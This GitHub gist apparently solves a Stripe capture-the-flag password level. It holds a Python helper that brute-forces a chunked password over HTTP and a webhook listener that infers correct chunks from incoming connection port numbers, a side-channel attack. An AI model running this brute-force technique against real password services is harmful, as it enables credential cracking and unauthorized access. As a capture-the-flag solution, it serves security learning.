-
-
Save omni5cience/034869cda412a30da610 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import socket | |
class helper(object): | |
"""Helper class for my ctf solution""" | |
def __init__(self, known_pass=""): | |
if(type(known_pass) == int): | |
known_pass = str(known_pass) | |
if(len(known_pass) % 3 != 0): | |
raise Exception("known_pass's length must be a multiple of 3") | |
#self.SERVER = "https://level08-4.stripe-ctf.com/user-mdoordmruo/" | |
self.SERVER = "http://localhost:3000" | |
#self.WEBHOOK = socket.gethostname() + ":5005" | |
self.WEBHOOK = "localhost:5005" | |
self.DATA_STRING = '{"password":"%s", "webhooks":["'+self.WEBHOOK+'"]}' | |
self.last_port = 0 | |
self.solved_chunks = len(known_pass) / 3 | |
self.current_guess = 0 | |
self.confirm_guess = False | |
self.known_pass = known_pass | |
self.guess_list = [ | |
"%s"+"0" * 9, | |
"%s"+"0" * 6, | |
"%s"+"0" * 3, | |
"%s" | |
] | |
def get_next_password(self): | |
"""return next password guess""" | |
guess = str(self.current_guess).zfill(3) | |
guess = self.known_pass + guess | |
guess = self.guess_list[self.solved_chunks] % guess | |
self.current_guess += 1 | |
return guess | |
def is_chunk_solved(self, port): | |
"""take port and check if the chunk we're working on is solved""" | |
if(port == 0 or self.last_port == 0): return False | |
difference = port - self.last_port | |
solved_chunks = difference - 3 | |
if(solved_chunks > self.solved_chunks and self.confirm_guess): | |
print("Solved! %d" % self.current_guess) | |
self.current_guess -= 1 | |
self.confirm_guess = False | |
self.solved_chunks = solved_chunks | |
self.known_pass = self.known_pass + str(self.current_guess) | |
return True | |
if(solved_chunks > self.solved_chunks): | |
if(solved_chunks > 4 or solved_chunks < 0): | |
raise Exception("solved_chunk is out of range") | |
print("port: %d - last_port: %d = %d" % (port, self.last_port, | |
difference)) | |
self.current_guess -= 1 | |
print("Solved? %d" % self.current_guess) | |
self.confirm_guess = True | |
self.check_pass(self.current_guess) | |
#maybe I should just add it to a list of maybes or check it again | |
return False | |
return False | |
def check_pass(self, password=None): | |
"""Post to SERVER with our current guess or a given password""" | |
if(password == None): | |
print("checking next pass") | |
requests.post(self.SERVER, data=self.DATA_STRING % | |
self.get_next_password()) | |
else: | |
requests.post(self.SERVER, data=self.DATA_STRING % password) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import SocketServer | |
import socket | |
import signal | |
import sys | |
import ctf | |
ctf = ctf.helper() | |
class MyTCPHandler(SocketServer.BaseRequestHandler): | |
""" | |
The RequestHandler class for our server. | |
It is instantiated once per connection to the server, and must | |
override the handle() method to implement communication to the | |
client. | |
""" | |
def __init__(self, *args): | |
""" | |
FML, this is an old style class so we can't call super | |
""" | |
SocketServer.BaseRequestHandler.__init__(self, *args) | |
def handle(self): | |
# self.request is the TCP socket connected to the client | |
#import ipdb; ipdb.set_trace() | |
self.data = self.request.recv(1024).strip() | |
if(self.data.find('{"success":true}') != -1): | |
print(ctf.current_guess) | |
import time | |
time.sleep(0.2) | |
def finish(self): | |
port = int(self.client_address[1]) | |
ctf.is_chunk_solved(port) | |
ctf.last_port = port | |
ctf.check_pass() | |
if __name__ == "__main__": | |
HOST, PORT = "localhost", 5005 | |
# Create the server, binding to localhost on port 5005 | |
server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler) | |
print("Starting!\n") | |
def sigint_handler(signal, frame): | |
""" | |
No idea why this doesn't quite work, but it at least closes the socket | |
""" | |
print("\nShutting down the server\n") | |
server.socket.close() | |
server.shutdown() | |
sys.exit(0) | |
signal.signal(signal.SIGINT, sigint_handler) | |
# Activate the server; this will keep running until you | |
# interrupt the program with Ctrl-C | |
server.serve_forever() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment